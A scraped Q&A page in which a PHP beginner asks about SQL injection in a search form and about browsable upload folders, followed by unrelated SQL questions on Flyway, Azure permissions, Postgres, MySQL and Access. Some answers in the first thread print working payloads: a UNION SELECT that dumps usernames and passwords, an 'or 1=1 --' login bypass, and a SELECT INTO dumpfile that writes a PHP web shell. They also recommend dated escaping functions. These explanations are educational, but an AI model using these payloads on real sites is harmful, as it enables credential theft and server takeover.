Website security, sql injection and file permissions - sql-injection

I am building a very small website (with PHP) and I have 2 big issues
The first one is about my search form
I have build a really simple search form in order to retrieve my content, then I used an online security tool and show me that my search form was vulnerable to SQLi
I had no idea abut that so I started testing some attacks I found on some sites
As far as now only 'OR 'x'='x worked (it returns the entire content of my website, is this bad? How can an attacker hurt me?
The second issue is about my photos, I am using a folder called mywebsite.com/uploads/ to access my photos
Although /upload is protected the subfolders uploads/temp and uploads/thumbs are visible through the browser
May this be hurtful too?
Any advice?

SQL injection is really bad but i like it :)
there is many types of sql injection like
remote sql injecton
blind sql injection
auto bypass sql injection
**Remote sql injection**
its the easy way to get data from site hacker use it like coders
see this example
mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
There is no security in my code
site.php?id=1
my query will execute like
mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
if hacker he will kill your code
site.php?id=1(any thing here can make problem ex: ` ' a-z A-Z / * / " )
Because query will be like this
mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
so single quotaion will make error in your query
and hacker can attack like this
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
here your query will execute like
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
and this will work :)
blind sql injection
hacker cannot work with easy way remote sql injection
because it here depend on right and false
so he will use and or
like this
and (select user_name from users) ;
if work fine the script will work good else error will happen
he can know database info like this
example admin table is admin
and (select user_name from users) ; x error
and (select user_name from admin) ; fine
auto bypass
its blicd sql injection but only true condition can access to admin
mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");
hacker can login like this
user = anything' or 1=1 --
so your query will be like
mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");
anything is error user in databse
but condition or 1=1 is true
-- will ignore your password check
he can access easily
protect
addslashes _ mysql_real_escape_string _ intval ( with number only )
folder premission you can use
empty index.html , index.php ,

If you allow SQL injection, an attacker can do all sorts of bad things to your website. They can inject code to DROP DATABASE, deleting your entire database!
If you are logging into your mysql as the root user, they can potentially write to files (and create) files on your server.
The injection;
SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');
Would be a common first step to breaking into your server, allowing the attacker to execute arbitrary commands under the www-data user. From here it is trivial to recruit your server into a botnet, use it to send spam (getting you blacklisted from sending emails), or simply delete all your files just to ruin your day.
What you must do, is to sanitise all user input. So, in your search processor, you must escape any special characters from the search query before passing it onto the database, you can do this using mysql_real_escape_string();
so;
$search_query = mysql_real_escape_string($_POST['search']);
It is then safe to use $search_query in your mysql query.

SQL injections - it's bad.
someone can run any query he wants in your database, find passwords, delete your entire data etc.
you can avoid it by wrapping all user input in your queries with mysql_real_escape_string
about the directories - it really depends on the accesses you provide. if file listing is available, it doesn't really mean that someone can make changes/execute them

Ad SQL Injection:
Displaying the entire content can be a problem if you have unpublished articles or articles only available for registered users etc.
Try reading more on SQL Injections. It may be possible to execute a second query that inserts new data in your database - or worse changes data (for example passwords). There's a lot of reading material out there, a start could be: http://php.net/manual/en/security.database.sql-injection.php Sanitise all your input and remember: even if you may not find a way to do harm via a security hole it doesn't mean no one will find a way ;)
Ad the folders: you mean that any user can see the content of the folders? If so, users may see pictures they shouldn't see. If you had a good reason for protecting (no file listing?) the main directory, why not apply it to the temps/ and thumbs/ subdirectories?

Related

Postgres/Flyway: How can I wrap long constant strings in sql file?

I want to line wrap the SQL in my flyway migration file, the working version looks like:
comment on table account is
'Multiple users may be associated with the same account (think multiple login methods, like gmail + facebook, etc.) ';
If I use IDEA and hit enter within the string it generates this:
comment on table account is
'Multiple users may be associated with the same account (think multiple' ||
' login methods, like gmail + facebook, etc.) ';
But then running the migrate operation gives the error PSQLException: ERROR: syntax error at or near "||".
Versions: Flyway 4.2, Postgres 10
It's perfectly fine to split a string across lines in SQL (without any concatenation operator):
comment on table account is
'Multiple users may be associated with the
same account (think multiple login methods,
like gmail + facebook, etc.)';
Alternative answer for wrapping the source code only, rather than the contents of the string :
comment on table account is
'Multiple users may be associated with the same account (think multiple'
' login methods, like gmail + facebook, etc.)';

MS Azure SQL - How to restrict User to one [custom] schema without the ability to access [sys] and [INFORMATION_SCHEMA]

I've performed the following:
created a new [custom] schema on the [customer_db]
created new [login] & [user] in the [master] and corresponding user
in the [customer_db]
granted 'db_datareader' and 'db_denydatawriter' to [user]
ALTER AUTHORIZATION ON SCHEMA::custom TO [user]
DENY SELECT ON schema::[dbo] TO [user]
DENY SELECT ON schema::[sys] TO [user]
DENY SELECT ON schema::[INFORMATION_SCHEMA] TO [user]
...but when I am trying this new, restricted login it still allows me to see all the [sys] and [INFORMATION_SCHEMA] related tables & views
I've also tried:
DENY SELECT, VIEW DEFINITION ON SCHEMA::[sys] to [user];
GO
DENY SELECT, VIEW DEFINITION ON SCHEMA::[INFORMATION_SCHEMA] to [user];
GO
This also completed successfully but it took no effect as well.
How can I restrict specific user to a specific schema only without [sys] and [INFORMATION_SCHEMA] listings?
Note/Update:
The DENY VIEW SERVER STATE TO [user]; returns:
Msg 40520, Level 16, State 1, Line 1
Securable class 'server' not supported in this version of SQL Server.
I didn't have an install of SQL 2000 handy, but working off of a modern version of SSMS and a local SQL Server linked to an Azure SQL DB I was able to see some things which may shed some light:
First off: SQL Server in Azure mimics as closely as possible the behaviors of the on premise versions of SQL Server. It appears that the catalog of views that you showed is available for the permission level of the login we created; I may not have reproduced the exact circumstances, but I was able to see the existence of system views when my permissions should, in theory, have been restricting them from my view. This seems to go against the spirit of the concept of permissions.
However, this is not unprecedented:
SELECT * FROM sys.databases
Will return master & the current database. (Try it with your restricted permissions- it should still succeed, even though it's technically a sys view).
Yet, a similar query
SELECT * FROM sys.objects
Throws an expected error (... The SELECT permission was denied on the object 'objects', database 'mssqlsystemresource', schema 'sys'.).
Now, if you're able to select from any/all views listed, this is an entirely different behavior and contradicts the permission entirely.
This was also examined partially in this related question , this one involving sys views specifically, and has a bit of documentation on MSDN too.
EDIT: Here's one more on the INFORMATION_SCHEMA specifically

How do I do conditional check, return error, or continue?

A user wants to invite a friend but I want to do a check first. For example:
SELECT friends_email from invites where friends_email = $1 limit 1;
If that finds one then I want to return a message such as "This friend already invited."
If that does not find one then I want to do an insert
INSERT INTO invites etc...
but then I need to return the primary user's region_id
SELECT region_id from users where user_id = $2
What's the best way to do this?
Thanks.
EDIT --------------------------------------------------------------
After many hours below is what I ended up with in 'plpgsql'.
IF EXISTS (SELECT * FROM invitations WHERE email = friends_email) THEN
return 'Already Invited';
END IF;
INSERT INTO invitations (email) VALUES (friends_email);
return 'Invited';
I undestand that there are probably dozens of better ways but this worked for me.
Without writing the exact code snippet for you...
Consider solving this problem by shaping your data to conform to your business rules. If you can only invite someone once, then you should have an "invites" table that reflects this by a UNIQUE rule across whatever columns define a unique invite. If it is just an email address, then declare the "invites.email" as a unique column.
Then do an INSERT. Write the insert so that it takes advantage of Postgres' RETURNING clause to give an answer on success. If the INSERT fails (because you already have that email address -- which was the point of the check you wanted to do), then catch the failure in your application code, and return the appropriate response.
Psuedocode:
Application:
try
invite.insert(NewGuy)
catch error.UniqueFail
return "He's already been invited"
# ...do other stuff
Postgres:
INSERT INTO invites
(data fields + SELECT region thingy)
VALUES
(some arrangement of data that includes "region_id")
RETURNING region_id
If that's hard to make work the first time you try it, phrasing the insert target as a CTE may be helpful. If all else fails, write it procedurally in plpgsql for the time being, making sure the external interface accepts a normal INSERT (so you don't have to change application code later) and sort it out once you know whether or not performance is an issue.
The basic idea here is to let the relational shape of your data obviate the need for any procedural checking wherever you can. That's at the heart of relational data modeling ...somewhat of a lost art these days.
You can create SQL stored procedure for implement functionality like described above.
But it is wrong form architecture point of view. See: Direct database manipulation an anti-pattern?
DB have scope of responsibility: store data.
You have to put business logic into your business layer.

SELECT WHERE CASE statement

I am working on a project in which the user's access to records is restricted based on the user's User Group. I have created a global variable $usr_sec_group, and I want to add to the WHERE clause in the SELECT statement for several applications a CASE statement that applies a different filter based on the value of $usr_sec_group. I am a relative "newbie" with regards to mySQL, and my attempts at writing such a statement haven't worked. Here is the basic logic:
SELECT
field1,
field2,
etc
FROM
Organizations
CASE $user_sec_group
WHEN 1 THEN 'filter_statement_1'
WHEN 2 THEN 'filter_statement_2'
WHEN 3 THEN 'filter_statement_3'
ELSE 'filter_statement_else'
END CASE
ORDER By
field1
The 'filter_statements' could be any valid filter, such as
'oName => 'a' AND oName < 'g'
I am assuming that the problem is a relatively simple matter of syntax, but so far I haven't been able to write a CASE statement that works.
I will be grateful for some guidance!
Best regards,
Eric
Your attempted solution will not work: it's not just a question of syntax, you would have to use dynamic sql. Even if you used dynamic sql, it is not a good way to manage access permissions.
A better way is to create specific views at various levels of access and then grant appropriate access to specific users and revoke access for others:
GRANT SELECT ON MyDatabase.viewABC
TO 'someuser'#'somehost';
See
The Grant/Revoke Command
An introduction to MySQL permissions
How to grant multiple users privileges; MySQL

Microsoft Access ADP UPDATE Query does NOT update

I have a (very simple and standard) UPDATE statement which works fine either directly in Query Analyser, or executed as a stored procedure in Query Analyser.
UPDATE A
SET
A.field1 = B.col1
, A.field2 = B.col2
FROM
tblA AS A INNER JOIN tblB AS B
ON A.pk1 = B.pk1 AND A.pk2 = B.pk2
Problem is when i execute the same stored proc via microsoft ADP (by double-clicking on the sproc name or using the Run option), it says "query ran successfully but did not return records" AND does NOT update the records when i inspect the tables directly.
Before anyone even says "syntax of MS-Access is different than SQLServer T-SQL", remember that with ADP everything happens on the server and one is actually passing thru to T-SQL.
Any bright ideas from any ADP gurus out there?
Gotcha. Responding to my own question for the benefit of anyone else.
Tools / Options / Advanced / Client-Server Settings / Default max records is set at 10,000 (presumably this is the default). Change this to 0 for unlimited.
My table had 100,000+ rows and whatever set of 10,000 it was updating was difficult to find ( among a sea of 90,000+ un-updated rows ). Hence the update did not work fully as expected.
Try and see whether the query gets executed on the SQL Server using SQL profiler.
Also, I think you might need to close the linked table & re-open it to see the updated records.
Does that work?
Run the query with SQL PRofiler running. Before you start the trace add in all the error events. This will give you any errors that the SQL Server is generating that the Access ADP might not be showing correctly (or at all).
Feel free to post them here.
Just as a reference, here's a paper I wrote on Update Queries that discusses some of the issues associated with when the fail.
http://www.fmsinc.com/microsoftaccess/query/snytax/update-query.html
I seem to remember that I always got the "didn't return any rows" message and had to simply turn off the messaging. It's because it isn't returning any rows!
as for the other - sometimes there's a primary key issue. Does the table being updated have a primary key in SQLServer? If so, check the view of the table in Access - sometimes that link doesn't come through. It's been a while, so I could be wrong, but I think you may need to look at the design view of the table while in access and add the primary key there.
EDIT: Additional thought:
in your debugging, try throwing in print statements to see what the values of your inputs are. Is it actually picking up the data from the table as you expect when you execute from access?